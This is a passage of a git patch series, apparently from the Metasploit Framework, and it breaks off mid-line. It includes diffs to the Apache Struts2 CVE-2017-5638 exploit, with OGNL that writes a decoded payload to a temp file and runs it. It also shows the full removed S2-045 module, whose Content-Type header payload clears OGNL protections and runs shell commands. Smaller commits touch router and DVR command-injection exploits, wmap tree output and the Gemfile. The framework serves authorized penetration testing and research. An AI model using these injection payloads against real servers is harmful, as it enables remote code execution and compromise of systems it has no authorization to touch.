%q|(#stuff=@org.apache.struts2.ServletActionContext@getRequest().getHeader('stuff')).| - ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#stuff)).| - ognl << %q|(#f=@java.io.File@createTempFile('metasploit','.jar')).| + ognl << %Q|(#data=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).| + ognl << %Q|(#f=@java.io.File@createTempFile('#{rand_text_alpha(4)}','.exe')).| + #ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).| + #ognl << %q|(#r.addHeader('file',#f.getAbsolutePath())).| + ognl << %q|(#f.setExecutable(true)).| ognl << %q|(#f.deleteOnExit()).| ognl << %q|(#fos=new java.io.FileOutputStream(#f)).| + + # Using stuff from the sun.* package here means it likely won't work on + # non-Oracle JVMs, but the b64 decoder in Apache Commons doesn't seem to + # work and I don't see a better way of getting binary data onto the + # system. =/ + ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#data)).| ognl << %q|(#fos.write(#d)).| - ognl << %q|(#r='com.opensymphony.xwork2.dispatcher.HttpServletResponse').| + ognl << %q|(#fos.close()).| - ognl << %q|(#context[#r].addHeader('stuff',#d[0])).| - ognl << %q|(#p=new java.lang.ProcessBuilder({'/usr/bin/java','-jar',#f.getAbsolutePath()})).| - ognl << %q|(#context[#r].addHeader('stuff',#f.getAbsolutePath())).| - ognl << %q|(#p.start()).| + ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).| + ognl << %q|(#p.start())| - ognl << %q|(#context[#r].addHeader('end','end'))| - send_http_request(ognl, stuff: [jar.pack].pack("m").delete("\n")) + send_struts_request(ognl, extra_header: [exe].pack("m").delete("\n")) end end @@ -165,8 +179,8 @@ Doesn't work: ognl << %q|(#cl=new java.net.URLClassLoader(new java.net.URL[]{#f.toURI().toURL()})).| ognl << %q|(#c=#cl.loadClass('metasploit.Payload')).| - ognl << %q|(#m=@ognl.OgnlRuntime@getMethods(#c,'run',true).get(0)).| - ognl << %q|(#context[#r].addHeader('meth',#m.toGenericString())).| + ognl << %q|(#m=@ognl.OgnlRuntime@getMethods(#c,'main',true).get(0)).| + ognl << %q|(#r.addHeader('meth',#m.toGenericString())).| ognl << %q|(#m.invoke(null,null)).| #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 From 32edeb9eba347ff3b14b208a3f5e218a47935960 Mon Sep 17 00:00:00 2001 From: Jon P Date: Tue, 14 Mar 2017 15:33:35 +0100 Subject: [PATCH 379/426] New tree output for command wmap_sites -s with unicode option (wmap_sites -s [ids] (true/false)) Filtering 404 in tree output --- plugins/wmap.rb | 153 ++++++++++++++++++++++++++++++------------------ 1 file changed, 96 insertions(+), 57 deletions(-) diff --git a/plugins/wmap.rb b/plugins/wmap.rb index b6c6ab7fb3..ad3c64e0ea 100644 --- a/plugins/wmap.rb +++ b/plugins/wmap.rb @@ -147,23 +147,28 @@ class Plugin::Wmap < Msf::Plugin when '-s' u = args.shift l = args.shift - s = args.shift + o = args.shift - if not u - return - end + return unless u if l == nil or l.empty? l = 200 - s = true + o = 'true' else - l = l.to_i - s = false + # Add check if unicode parameters is the second one + if l == 'true' or l == 'false' + o = l + l = 200 + else + l = l.to_i + end end + o = (o == 'true') + if u.include? 'http' # Parameters are in url form - view_site_tree(u,l,s) + view_site_tree(u,l,o) else # Parameters are digits if !self.lastsites or self.lastsites.length == 0 @@ -188,12 +193,12 @@ class Plugin::Wmap < Msf::Plugin # Skip the DB entirely if no matches return if target_whitelist.length == 0 - if not self.targets - self.targets = Hash.new() - end + unless self.targets + self.targets = Hash.new() + end target_whitelist.each do |ent| - view_site_tree(ent,l,s) + view_site_tree(ent,l,o) end end return @@ -203,8 +208,7 @@ class Plugin::Wmap < Msf::Plugin print_line("\t-a [url] Add site (vhost,url)") print_line("\t-d [ids] Delete sites (separate ids with space)") print_line("\t-l List all available sites") - print_line("\t-s [id] Display site structure (vhost,url|ids) (level)") - + print_line("\t-s [id] Display site structure (vhost,url|ids) (level) (unicode output true/false)") print_line("") return else @@ -1526,18 +1530,16 @@ class Plugin::Wmap < Msf::Plugin # Skip the DB entirely if no matches return if site_whitelist.length == 0 - vsites = Hash.new() - site_whitelist.each do |ent| vhost,target = ent host = self.framework.db.workspace.hosts.find_by_address(target.host) - if not host + unless host print_error("No matching host for #{target.host}") next end serv = host.services.find_by_port_and_proto(target.port, 'tcp') - if not serv + unless serv print_error("No matching service for #{target.host}:#{target.port}") next end @@ -1552,69 +1554,106 @@ class Plugin::Wmap < Msf::Plugin end end + # Private function to avoid duplicate code + def load_tree_core(req, wtree) + pathchr = '/' + tarray = req.path.to_s.split(pathchr) + tarray.delete("") + tpath = Pathname.new(pathchr) + tarray.each do |df| + wtree.add_at_path(tpath.to_s,df) + tpath = tpath + Pathname.new(df.to_s) + end + end + # # Load website structure into a tree # - def load_tree(s) - - pathchr = '/' - wtree = Tree.new(s.vhost) # Load site pages s.web_pages.order('path asc').each do |req| - tarray = req.path.to_s.split(pathchr) - tarray.delete("") - tpath = Pathname.new(pathchr) - tarray.each do |df| - wtree.add_at_path(tpath.to_s,df) - tpath = tpath + Pathname.new(df.to_s) + if req.code != 404 + load_tree_core(req, wtree) end end # Load site forms s.web_forms.each do |req| - tarray = req.path.to_s.split(pathchr) - tarray.delete("") - tpath = Pathname.new(pathchr) - tarray.each do |df| - wtree.add_at_path(tpath.to_s,df) - tpath = tpath + Pathname.new(df.to_s) - end + load_tree_core(req, wtree) end - return wtree + wtree + end + + def print_file(filename) + ext = File.extname(filename) + if %w(.txt .md).include? ext + print '%bld%red' + elsif %w(.css .js).include? ext + print '%grn' + end + + print_line("#{ filename }%clr") end # - # Print Tree structure. Still ugly + # Recursive function for printing the tree structure # + def print_tree_recursive(tree, max_level, indent, prefix, is_last, unicode) + if tree != nil and tree.depth <= max_level + print (' ' * indent) - def print_tree(tree, ip, maxlevel, limitlevel) - initab = " " * 4 - indent = 6 - if tree != nil and tree.depth <= maxlevel - print initab + (" " * indent * tree.depth) - if tree.depth > 0 - print "|"+("-" * (indent-1))+"/" - end - if tree.depth >= 0 - if tree.depth == 0 - print "[#{tree.name}] (#{ip})\n"+initab+(" " * indent)+"\n" - + # Prefix serve to print the superior hierarchy + prefix.each { |bool| + if unicode + print (bool ? ' ' : '│') + (' ' * 3) else - c = tree.children.count - if c > 0 - print tree.name + " (" + c.to_s+")\n" - else - print tree.name + "\n" - end + print (bool ? ' ' : '|') + (' ' * 3) end + } + if unicode + # The last children is special + print (is_last ? '└' : '├') + ('─' * 2) + ' ' + else + print (is_last ? '`' : '|') + ('-' * 2) + ' ' end - tree.children.each_pair do |name,child| - print_tree(child,ip,maxlevel,limitlevel) + c = tree.children.count + + if c > 0 + print_line "%bld%blu#{ tree.name }%clr (#{ c.to_s })" + else + print_file tree.name + end + + i = 1 + new_prefix = prefix + [is_last] + tree.children.each_pair { |_,child| + is_last = !(i < c) + print_tree_recursive(child, max_level, indent, new_prefix, is_last, unicode) + i += 1 + } + end + end + + # + # Print Tree structure. Less ugly + # Modified by Jon P. + # + def print_tree(tree, ip, max_level, unicode) + indent = 4 + if tree != nil and tree.depth <= max_level + if tree.depth == 0 + print_line "\n" + (' ' * indent) + "%cya[#{tree.name}] (#{ip})%clr" + end + + i = 1 + c = tree.children.count + tree.children.each_pair do |_,child| + print_tree_recursive(child, max_level, indent, [], !(i < c), unicode) + i += 1 end end From 67fc43a0a10ac31ade2d66e1a6999b00443c736c Mon Sep 17 00:00:00 2001 From: itsmeroy2012 Date: Tue, 14 Mar 2017 21:33:53 +0530 Subject: [PATCH 380/426] msftidy error updated 2.4 --- modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb b/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb index ef0b02f918..fc18afde45 100644 --- a/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb +++ b/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb @@ -98,7 +98,8 @@ class MetasploitModule < Msf::Exploit::Remote @cookie = rand_text_alpha_lower(7) res = send_request_cgi({ - 'uri' => '/cgi-bin/index.asp?' + Rex::Text.encode_base64("#{datastore['USERNAME']}:#{datastore['PASSWORD']}"), + 'uri' => '/cgi-bin/index.asp', + 'query' => Rex::Text.encode_base64("#{datastore['USERNAME']}:#{datastore['PASSWORD']}"), 'method' => 'POST', 'cookie' => "SESSIONID=#{@cookie}", 'vars_post' => { From 79331191be9a30e4fd73e27ab4f3cd51bf48317e Mon Sep 17 00:00:00 2001 From: itsmeroy2012 Date: Tue, 14 Mar 2017 22:02:59 +0530 Subject: [PATCH 381/426] msftidy error updated 2.5 --- modules/exploits/linux/http/mvpower_dvr_shell_exec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb b/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb index 9aa11584b8..a5911646d1 100644 --- a/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb +++ b/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb @@ -76,8 +76,8 @@ class MetasploitModule < Msf::Exploit::Remote def execute_command(cmd, opts) begin send_request_cgi( - 'method' => "GET", - 'uri' => "/shell?#{Rex::Text.uri_encode(cmd, 'hex-all')}", + 'uri' => '/shell', + 'query' => Rex::Text.uri_encode(cmd, 'hex-all'), 'headers' => { 'Connection' => 'Keep-Alive' } ) rescue ::Rex::ConnectionError From 5d6a159ba91c3e9925130650503c44447f52e08f Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 14 Mar 2017 11:46:44 -0500 Subject: [PATCH 382/426] Use query instead of uri in mvpower_dvr_shell_exec I should have caught this in #7987, @bcoles, but I forgot. Apologies. This commit finishes what @itsmeroy2012 attempted to do in #8070. --- modules/exploits/linux/http/mvpower_dvr_shell_exec.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb b/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb index a5911646d1..dc2ecb8c44 100644 --- a/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb +++ b/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb @@ -60,8 +60,9 @@ class MetasploitModule < Msf::Exploit::Remote begin fingerprint = Rex::Text::rand_text_alpha(rand(10) + 6) res = send_request_cgi( - 'method' => "GET", - 'uri' => "/shell?echo+#{fingerprint}", + 'method' => 'GET', + 'uri' => '/shell', + 'query' => "echo+#{fingerprint}", 'headers' => { 'Connection' => 'Keep-Alive' } ) if res && res.body.include?(fingerprint) From 5c436f2867f058e46e87daec0742eb284c2d365d Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 14 Mar 2017 11:49:53 -0500 Subject: [PATCH 383/426] Appease msftidy in tr064_ntpserver_cmdinject Also s/"/'/g. --- modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb b/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb index acd5912c78..4bc6cf2b09 100644 --- a/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb +++ b/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb @@ -104,8 +104,8 @@ class MetasploitModule < Msf::Exploit::Remote def check begin res = send_request_cgi({ - 'method' => "GET", - 'uri' => '/globe' # TODO: Check this? Why not /UD/act?1 + 'method' => 'GET', + 'uri' => '/globe' }) rescue ::Rex::ConnectionError vprint_error("#{peer} - A connection error has occured") From f429b80c4e371abc2569cedaf258cc5a3bb78f75 Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 14 Mar 2017 12:18:11 -0500 Subject: [PATCH 384/426] Forgot to rm this when i combined --- .../multi/http/struts2_content_type_ognl.rb | 4 +- .../exploits/multi/http/struts2_s2045_rce.rb | 88 ------------------- 2 files changed, 3 insertions(+), 89 deletions(-) delete mode 100644 modules/exploits/multi/http/struts2_s2045_rce.rb diff --git a/modules/exploits/multi/http/struts2_content_type_ognl.rb b/modules/exploits/multi/http/struts2_content_type_ognl.rb index 9dc944c302..522235fbb0 100644 --- a/modules/exploits/multi/http/struts2_content_type_ognl.rb +++ b/modules/exploits/multi/http/struts2_content_type_ognl.rb @@ -28,6 +28,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Nixawk', # Metasploit module 'Chorder', # Metasploit module 'egypt', # combining the above + 'Jeffrey Martin', # Java fu ], 'References' => [ ['CVE', '2017-5638'], @@ -167,7 +168,8 @@ class MetasploitModule < Msf::Exploit::Remote ognl << %q|(#fos.close()).| ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).| - ognl << %q|(#p.start())| + ognl << %q|(#p.start()).| + ognl << %q|(#f.delete())| send_struts_request(ognl, extra_header: [exe].pack("m").delete("\n")) end diff --git a/modules/exploits/multi/http/struts2_s2045_rce.rb b/modules/exploits/multi/http/struts2_s2045_rce.rb deleted file mode 100644 index 48215a693e..0000000000 --- a/modules/exploits/multi/http/struts2_s2045_rce.rb +++ /dev/null @@ -1,88 +0,0 @@ -require 'msf/core' - -class MetasploitModule < Msf::Exploit::Remote - Rank = ExcellentRanking - include Msf::Exploit::Remote::HttpClient - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Apache Struts2 S2-045 Remote Code Execution Exploit(CVE-2017-5638)', - 'Description' => %q{It is possible to perform a RCE attack with a malicious Content-Type value.If the Content-Type value isn't valid an exception is thrown which is then used to display an error message to a user.Discoverd by Nike.Zheng. - }, - 'Author' => [ 'Exploit: Nike.Zheng','MSF Module: Chorder(http://chorder.net)'], - 'License' => MSF_LICENSE, - 'References' => [ [ 'CVE', '2017-5638'] ], - 'Privileged' => true, - 'Platform' => %w{ linux win }, - 'Arch' => 'x86', - 'DefaultOptions' =>{ - 'CMD' => 'whoami' - }, - 'Targets' =>[ - ['Windows Universal', - { - 'Arch' => ARCH_X86, - 'Platform' => 'win', - 'CmdStagerFlavor' => 'tftp' - } - ], - ['Linux Universal', - { - 'Arch' => ARCH_X86, - 'Platform' => 'linux' - } - ], - ], - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Mar 06 2017')) - register_options( - [ - Opt::RPORT(8080), - OptString.new('URI', [ true, 'The path to a struts application action ie. /struts2.action', ""]), - OptString.new('CMD', [ true, 'Execute this command instead of using command stager', "" ]) - ], self.class) - end - - - def execute_command(cmd, opts = {}) - uri = normalize_uri( datastore['URI'] ) - headers ={ - "Content-Type"=> -"%{(#nike='multipart/form-data')."\ -"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."\ -"("\ - "#_memberAccess?(#_memberAccess=#dm):"\ - "("\ - "(#container=#context['com.opensymphony.xwork2.ActionContext.container'])."\ - "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."\ - "(#ognlUtil.getExcludedPackageNames().clear())."\ - "(#ognlUtil.getExcludedClasses().clear())."\ - "(#context.setMemberAccess(#dm)))"\ - ")."\ - "(#cmd='"+cmd+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" - } - data = '----------1529557865\r\n\Content-Disposition: form-data; name="file"; filename="test.txt"\r\n\000' - print_status("Target URI: #{uri}") - print_status("Attempting to execute: #{cmd}") - - resp = send_request_raw({ - 'host' => rhost, - 'port' => rport, - 'uri' => uri, - 'version' => '1.1', - 'method' => 'POST', - 'headers' => headers, - 'data' => data, - }, 5) - print_status( resp.body ) - end - - def exploit - unless datastore['CMD'].blank? - print_status("Executing Command...") - execute_command(datastore['CMD']) - return - end - handler - end -end From 409bc26f25391ea47351fd1ef960fc87da9840fc Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Tue, 14 Mar 2017 13:42:42 -0500 Subject: [PATCH 385/426] whitelist rather than blacklist --- Gemfile | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/Gemfile b/Gemfile index 59515dc0b0..3c42e7a909 100755 --- a/Gemfile +++ b/Gemfile @@ -21,7 +21,10 @@ group :development do # module documentation gem 'octokit', '~> 4.0' # session aggregator, native builds have issues on arm platforms for now - gem 'metasploit-aggregator' if !RUBY_PLATFORM =~ /arm|aarch64/ + gem 'metasploit-aggregator' if [ + 'x86-mingw32', 'x64-mingw32', + 'x86_64-linux', 'x86-linux', + 'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin')) end group :development, :test do From 18cdb2f82fe196bae73af520822a0af08e1062a3 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 14 Mar 2017 14:15:52 -0500 Subject: [PATCH 386/426] Add a -l option to the load command to list plugins This allows the load command in msfconsole to list all the available plugins in Framework. --- lib/msf/ui/console/command_dispatcher/core.rb | 53 +++++++++++++------ 1 file changed, 37 insertions(+), 16 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 350ca57c20..e29343a1ab 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -715,27 +715,34 @@ class Core end def cmd_load_help - print_line "Usage: load [var=val var=val ...]" + print_line "Usage: load